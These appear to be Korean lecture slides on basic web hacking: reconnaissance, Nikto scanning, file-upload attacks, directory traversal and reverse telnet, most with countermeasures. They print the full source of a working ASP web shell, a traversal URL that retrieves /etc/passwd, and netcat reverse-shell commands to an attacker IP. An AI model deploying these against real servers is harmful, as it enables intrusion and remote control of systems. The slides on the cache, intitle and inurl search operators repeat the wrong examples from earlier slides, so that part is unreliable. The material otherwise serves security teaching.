chapter 3. 기본웹해킹
1. 정보수집 해커들이웹사이트를해킹하기위해대상시스템의운영체제나어플리케이션버전등과같은대상시스템의정보를수집하는것을의미한다. -2-
일반적인해킹단계 정보수집 취약점분석 실제공격 사후처리 웹스캔포트스캔 Application 종류, 버전 OS종류, 버전등등 OS종류, 버전취약점 Application 취약점 리모트어택웹, DB, SQL injection, XSS 로컬어택 BOF,FSB 로그삭제스니퍼패치관리자통보등 PTRACE -3-
일반적인해킹단계 1. 정보수집 : 웹스캔이나포트스캔및웹사이트접속하여소스코드및구조를분석함으로써어떠한애플리케이션과웹서버를사용하는지, 웹서버의버전은무엇인지를수집한다. 2. 취약점분석 : 정보수집단계를거쳐서수집한정보를바탕으로애플리케이션자체의취약점및웹서버의취약점을분석한다. 3. 실제공격 : 취약점분석을바탕으로원격에서공격을시도한다. 원격에서 SQL Injection 공격이나, XSS, 파일업로드등다양한공격으로웹서버에침투를시도한다. 4. 사후처리 : 침투에성공한경우악의적인공격자는로그를삭제하고스니퍼를설치하기도하지만, 어떤해커의경우는가끔패치도해주고 ( 거의드물다 ) 관리자에게통보하기도한다. -4-
1.1. 웹사이트탐색과분석 웹해킹을하기위한대상에접속하여게시판및자료실이존재하는지, 홈페이지의파일확장자가 asp인지 jsp인지확인. 홈페이지의전체적인구조를확인함으로써자료실및게시판의취약점및웹서버의취약점을분석하는데도움이될수있다. 공격자는게시판이나자료실이존재할경우파일업로드공격을통해공격을시도하거나, 디렉토리구조탐색을통해관리자디렉토리가있는지디렉토리리스팅취약점이존재하는지에대해서조사한다. -5-
1.1. 웹사이트탐색과분석 여기서는디렉토리탐색을위한자동화툴몇개를소개한다. 1. IntelliTemper (http://www.intellitamper.com/download.php) - 웹사이트에존재하는디렉토리들에대한탐색을자동으로시도해주는도구이다. 2. Sleuth (http://www.sandsprite.com/sleuth/download.html) - 홈페이지의소스코드나, 폼, 주석, 쿠키등과같은홈페이지의전반적인내용에대해서자동적으로분석을해주는도구이다. -6-
1.2. 검색엔진을이용한정보수집 웹해킹을하면서검색엔진을이용하면많은정보를수집할수있다. 많은검색사이트가있지만구글이라는검색사이트가제공하는기능이공격자들에게상당히적합하게되어있기때문에구글검색엔진을이용하여대상홈페이지에대한많은정보를수집할수있다. -7-
구글에서사용하는고급검색기능 검색인자설명 site: filetype: 특정도메인으로지정한사이트에서검색하려는문자열이포함된사이트를찾음 특정한파일타입에한해서검색하려는문자가들어있는사이트를찾음 검색추가인자 YES YES link: 링크로써검색하려는문자가들어있는사이트를찾음 NO cache: 특정검색어에해당하는캐시된페이지를보여줌 NO intitle: inurl: 페이지의제목에검색하려는문자가들어있는사이트를찾음 페이지의 URL 에검색하려는문자가들어있는사이트를찾음 NO NO -8-
구글에서사용하는고급검색기능 각검색인자에대한사용법 1. site 예제 : 특정사이트만을선정해서검색할때사용예 ) site:wishfree.com admin - wishfree.com 사이트에서 admin 문자열을찾을때사용 2. filetype 예제 : 특정파일타입에대해검색할때사용예 ) filetype:txt 패스워드 - 텍스트파일중패스워드가포함된문자열을찾을때사용 3. Link 예제 : 특정주소가링크된페이지를찾을때사용예 ) link:www.fishfree.com - www.wishfree.com 사이트를링크하고있는사이트를찾음 -9-
구글에서사용하는고급검색기능 각검색인자에대한사용법 4. cache 예제 : 특정사이트만을선정해서검색할때사용예 ) site:wishfree.com admin - wishfree.com 사이트에서 admin 문자열을찾을때사용 5. intitle 예제 : 특정파일타입에대해검색할때사용예 ) filetype:txt 패스워드 - 텍스트파일중패스워드가포함된문자열을찾을때사용 6. inurl 예제 : 특정주소가링크된페이지를찾을때사용예 ) link:www.fishfree.com - www.wishfree.com 사이트를링크하고있는사이트를찾음 -10-
검색엔진의검색을피하는방법 서버의홈디렉토리에 robots.txt 파일을만들어검색할수없게만들수있다. 예를들어, http://www.wishfree.com/robots.txt 파일이있으면구글검색엔진은 robots.txt에있는디렉토리들과규칙에대항하는부분은검색하지않는다. robots.txt 파일의포멧은두개의필드로구성되어있다. User-Agent: 특정검색엔진으로부터검색을막음 ( 예 ) User-Agent: googlebot ( 구글봇으로부터막음 ) Disallow : 특정파일또는디렉토리를로봇이검색하지못하게하기위해사용 ( 예 ) Disallow: dbconn.ini ( 예 ) Disallow: /admin/ -11-
2. 웹스캐닝 웹스캐닝 (Web Scanning) 은웹사이트를조사하는방법이다. 수동적인방법보다는도구를이용하여웹서버의종류나버전, 그리고디렉토리정보나중요파일정보가존재하는지, 웹서버자체의취약점은무엇인지검사하기위한방법이다. -12-
웹스캐닝의원리 공격대상에게취약하다고알려진 HTTP 요청 (Request) 을보내고, 대상시스템이이에대한응답코드 (Response Code) 를보고해당페이지의존재여부및취약점을확인할수있다. -13-
실습 웹스캐닝을통한정보수집 1. 웹스캐닝을다운로드한다. (http://www.cirt.net/code/nikto.html) -14-
실습 웹스캐닝을통한정보수집 2. 운영체제에설치한다. 다운로드후운영체제에푼다. -15-
실습 웹스캐닝을통한정보수집 3. ActivePerl 을설치한다. 윈도우운영체제에서 Perl 을실행하기위해 ActivePerl 을설치한다. http://www.activestate.com/products/activeperl/ -16-
실습 웹스캐닝을통한정보수집 3. ActivePerl 을설치한다. 인스톨파일을다운로드후실행하면설치가된다. 설치를마치면 C: Perl 디렉토리가생성되고펄을사용할수있게된다. 어디서든펄을실행하기위해윈도우환경변수에펄이설치된디렉토리를등록한다. 탐색기 실행후 [ 내컴퓨터 ]->[ 등록정보 ]->[ 고급탭 ]->[ 환경변수 ] 를선택한후시스템환경변수의 Path 부분에 C: Perl bin; 을입력하면된다. -17-
실습 웹스캐닝을통한정보수집 3. ActivePerl 을설치한다. ( 환경변수등록 ) -18-
실습 웹스캐닝을통한정보수집 4. Nikto 를실행한다. - 실행하는법은간단하게 nikto.pl 파일을입력하면된다. C: Scanner nikto-current.tar nikto-1.32 nikto.pl -19-
실습 웹스캐닝을통한정보수집 5. 웹스캐닝을한다. - 테스트가능한서버를대상으로스캐닝을시도한다. 예 ) nikto.pl h www.victim.com -20-
Nikto 의주요옵션 옵션 기능 인자 -Cgidirs(-C) CGI 디렉토리를스캐닝한다. none, all, /cgi/ 와같은디렉토리 -cookies 쿠키가발견되면보여준다. NO -evasion IDS를우회하기위해 URL을인코딩한다. 1~9까지의값이들어간다. -findonly 오직 http(s) 포트를찾는다. - -Format 결과파일의포맷을지정한다. htm, csv, txt -generic 일반적으로전체스캐닝을한다. - -host(-h) 스캐닝할대상을받는다. - -id 호스트인증이필요한경우사용한다. userid:password -output(-o) 결과를파일로저장한다. filename -port(-p) 스캐닝할포트를선정한다 ( 디폴트로 80). 스캐닝할포트번호 -ssl https(ssl) 을이용하는홈페이지를스캔 - -vhost 가상호스트를사용할때 가상호스트이름 -update nikto 스캐닝패턴데이터베이스업데이트 - -21-
3. 파일접근 1. 파일업로드 - 파일업로드 (File Upload) 공격은공격자가공격프로그램을해당시스템에업로드하여공격하는방법을말한다. 파일업로드는공격난이도가쉬우면서도영향력이나파급도가큰공격방법이다. 공격방식은공격자가시스템내부명령어를실행시킬수있는웹프로그램 (ASP나 JSP, PHP) 을제작하여자료실과같이파일을업로드할수있는곳에공격용프로그램을업로드한다. 그리고그공격용프로그램을웹에서브라우저를이용해접근하면시스템내부명령어를실행시킬수있게되는것이다. -22-
실습 : 파일업로드를통한시스템로컬권한획득 2 장에서설정한 ASP 로만들어진게시판의자료실기능을이용하여 파일업로드를시도한다. -23-
실습 : 파일업로드를통한시스템로컬권한획득 파일업로드된글을확인한다. -24-
실습 : 파일업로드를통한시스템로컬권한획득 첨부파일을클릭하면다음과같이명령어를실행할수있는커맨 드폼이나타난다. (ipconfig 명령어실행예 ) -25-
파일실행프로그램 (cmd.asp) 분석 <%@ Language=VBScript %> <% Dim oscript, oscriptnet, ofilesys, ofile, szcmd, sztempfile On Error Resume Next ' -- 우리가사용할 COM 객체를생성 -- ' Set oscript = Server.CreateObject("WSCRIPT.SHELL") Set oscriptnet = Server.CreateObject("WSCRIPT.NETWORK") Set ofilesys = Server.CreateObject("Scripting.FileSystemObject") ' -- 폼으로부터받아온값을 szcmd 변수에저장 --' szcmd = Request.Form(".CMD") If (szcmd <> "") Then sztempfile = "C: " & ofilesys.gettempname( ) -- 명령어를실행하고그결과를 sztempfile 에저장한다. -- Call oscript.run ("cmd.exe /c " & szcmd & " > " & sztempfile, 0, True) -- 임시파일을열어서 ofile 변수에저장한다. -- Set ofile = ofilesys.opentextfile (sztempfile, 1, False, 0) End If %> -26-
파일실행프로그램 (cmd.asp) 분석 <HTML><BODY> <FORM action="<%= Request.ServerVariables("URL") %>" method="post"> <input type=text name=".cmd" size=45 value="<%= szcmd %>"> <input type=submit value="run"> </FORM> <PRE> -- 컴퓨터이름과사용자이름을출력한다 -- <%= " " & oscriptnet.computername & " " & oscriptnet.username %> <br> <% If (IsObject(oFile)) Then ' -- 생성한임시파일의내용을읽어화면에보여준후임시파일은삭제한다 -- ' On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) ofile.close Call ofilesys.deletefile(sztempfile, True) End If %> </BODY> </HTML> -27-
파일업로드공격에대한대응방법 업로드시파일확장자이름을체크해야한다. 이때주의해야할것은 asp나 jsp 같은소문자만체크해서는안된다. asp나 jsp 같은대소문자혼합도시스템에서는인식하기때문에모든가능한조합에대해필터링해야한다. 자바스크립트와같은클라이언트스크립트언어로필터링하면안된다. 공격자는클라이언트스크립트언어는얼마든지공격자가수정할수있기때문에 asp나 jsp 같은서버사이드스크립트언어에서필터링해야한다. 파일이업로드되는디렉토리에실행권한을제거하는방법이있다. 이럴경우에는파일이업로드된다고해도실행되지않기때문에브라우저에그대로나타나거나파일을다운로드하게된다. -28-
3. 파일접근 2. 디렉토리탐색 (Directory Traversal) - 웹브라우저에서확인가능한경로의상위로올라가서특정시스템파일을다운로드하는공격방법이다. 자료실에올라간파일을다운로드할때전용다운로드프로그램이파일을가져오는데, 이때파일이름을필터링하지않아발생하는취약점이다. -29-
3. 파일접근 2. 디렉토리탐색 (Directory Traversal) 특정파일을다운로드할때다음과같은 URL을이용하여다운로드된다고하자. http://www.victim.com/board/down.jsp?filename=upload.hwp 공격자는 filename 변수에해당하는값을다음과같이조작하면상위디렉토리로거슬러올라가 /etc/passwd 파일을다운로드할수있는것이다. http://www.victim.com/board/down.jsp?filename=../../../../../.. /../../../../../etc/passwd -30-
디렉토리탐색에대한대응방안 전용파일다운로드프로그램을이용할때는위예에서보는바와같이.. 문자열이나 / 문자열에대한필터링이없을경우, 공격자 는상위로올라가특정파일을열람할수있기때문에.. 와 / 문 자에대해필터링하여야한다. 파일업로드의경우와마찬가지로 필터링하는부분을자바스크립트와같은클라이언트스크립트언 어로하면공격자가우회할수있기때문에반드시 JSP 나 ASP 등서버사이드스크립트언어에필터링을추가해야한다. -31-
3. 파일접근 3. 디렉토리리스팅 (Directory Listing) - 특정디렉토리를브라우저에서열람하면그디렉토리에있는모든파일과디렉토리들의목록이나열된다. 공격자는이취약점을이용하여웹서버에어떠한파일이있는지확인할수있고추가적인공격취약점을찾을수있다. -32-
디렉토리리스팅 다음그림은디렉토리리스팅취약점이존재하는화면이다. -33-
3. 파일접근 4. 인증우회 (Authentication Detour) - 관리자페이지나인증이필요한페이지에대한인증미처리로인해인증을우회하여접속할수있는취약점이다. 이취약점에노출되면일반사용자나로그인하지않은사용자가관리자페이지에접근하여관리자권한으로할수있는모든기능을악용할수있게된다. 이런취약점은간단하지만도의외로웹개발자가자주실수하는부분이기도하다. -34-
인증우회에대한대응방법 관리자페이지나인증이필요한페이지에대해서는관리자로그인 세션에대한검사를수행하는과정을넣어야한다. -35-
4. 리버스텔넷 (Reverse Telnet) 리버스텔넷기술은방화벽이존재하는시스템을공격할때자주사용되는기법이다. 방화벽정책에서인바운드정책 ( 외부에서방화벽내부로들어오는패킷에대한정책 ) 은일반적으로 80번포트외에필요한포트말고는다막아놓는다. 그러나아웃바운드정책 ( 내부에서외부로나갈때 ) 은보통별다른필터링을수행하지않는경우가많다. 이러한상황에서리버스텔넷은유용한기법이다. 일반적으로공격자는웹서버의 80번포트로의접근은가능하다. 그러나방화벽정책에의해서내부에서외부로나가는정책은모두허용이기때문에웹서버에서공격자컴퓨터쪽으로리버스텔넷시도를하는것이가능한것이다. -36-
리버스텔넷의동작원리 -37-
리버스텔넷의예 공격자컴퓨터에특정포트를오픈공격자 : nc -l -p 80 (80 번포트를이용하지않고임의의포트를이용하여도무관하다.) -38-
리버스텔넷의예 피해자컴퓨터에서공격자컴퓨터로리버스텔넷을시도. 공격대상 : nc -e cmd.exe [ 공격자 IP] 80 ( 윈도우계열 ) nc -e /bin/sh [ 공격자 IP] 80 ( 유닉스계열 ) -39-
리버스텔넷의예 공격자컴퓨터에피해자컴퓨터의커맨드창이뜬화면 -40-
리버스텔넷 리버스텔넷을사용하기위해 netcat(=nc) 프로그램을많이이용하는데, netcat은리버스텔넷기능뿐만아니라스캐닝기능등매우유용하고많은기능을수행할수있는프로그램이다. 리버스텔넷을막기위한방법 리버스텔넷이불가능하도록하기위해서는사이트의파일업로드기능을철저하게점검해야하고, 방화벽의아웃바운드정책역시엄격하게적용해야한다. -41-